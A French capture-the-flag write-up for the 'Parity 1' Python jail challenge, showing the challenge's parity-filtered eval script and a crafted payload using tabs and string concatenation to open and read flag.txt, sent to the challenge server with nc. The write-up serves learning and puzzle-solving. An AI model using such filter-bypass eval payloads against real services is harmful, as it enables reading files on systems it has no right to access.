🎉 Parity 1
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
📖 Énoncé du challenge
#!/usr/local/bin/python3
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp)
🚩 Avoir le flag
Alors, on va passer à l'anlyse de ce tout petit script. On a une boucle qui parcourt chaque caractère de l'entrée utilisateur, et vérifie quelque chose d'assez simple:
- Si le code ASCII du caractère est supérieur à 128
- Si l'index du caractère est impair et que le code ASCII du caractère est pair
Alors on affiche bad
et on quitte le programme.
Nous allons donc devoir trouver une moyen d'avoir une parfaite conformité avec ces conditions.
Quelque chose d'assez intéressant pour le moment c'est que notre eval
est avec un scope global.
Nous pouvons donc faire quelque chose de très simple:
-Jouer sur le faire qu'un \t
est un caractère ASCII 9 et que 9 est impair. Et une est un caractère ASCII 32 et que 32 est pair.
open
est un mot-clé qui respecte les conditions de l'énoncé.
open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' )
A présent il nous manque plus qu'a trouver un moyen de voir le contenu du fichier. Puisque nous ne pouvons pas écrire read
.
Heuresement il existe cette magnifique technique:
type([ ] )(open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' ) )
Qui en local nous donnera le contenu du fichier.
>>> eval("""type([ ] )(open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' ) )""")
['jail{flag_will_be_here_on_remote}\n']
Plus qu'a envoyer ça au serveur.
$ cat inject.py
inp = """eval\t(\ttype([ ] )(open\t('f' + 'l' +"a"+"g"+ '.' + 't' + 'x' + 't' ) ) [0] )"""
print(inp)
$ python3 Parity-1/python.py | nc challs2.pyjail.club 7991
> Traceback (most recent call last):
File "/app/run", line 9, in <module>
eval(inp)
File "<string>", line 1, in <module>
File "<string>", line 1
jail{parity_41f5812e8c0cd9}
^
SyntaxError: invalid syntax
Maintenant rendez-vous sur la version 2 du challenge Parity 2.
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github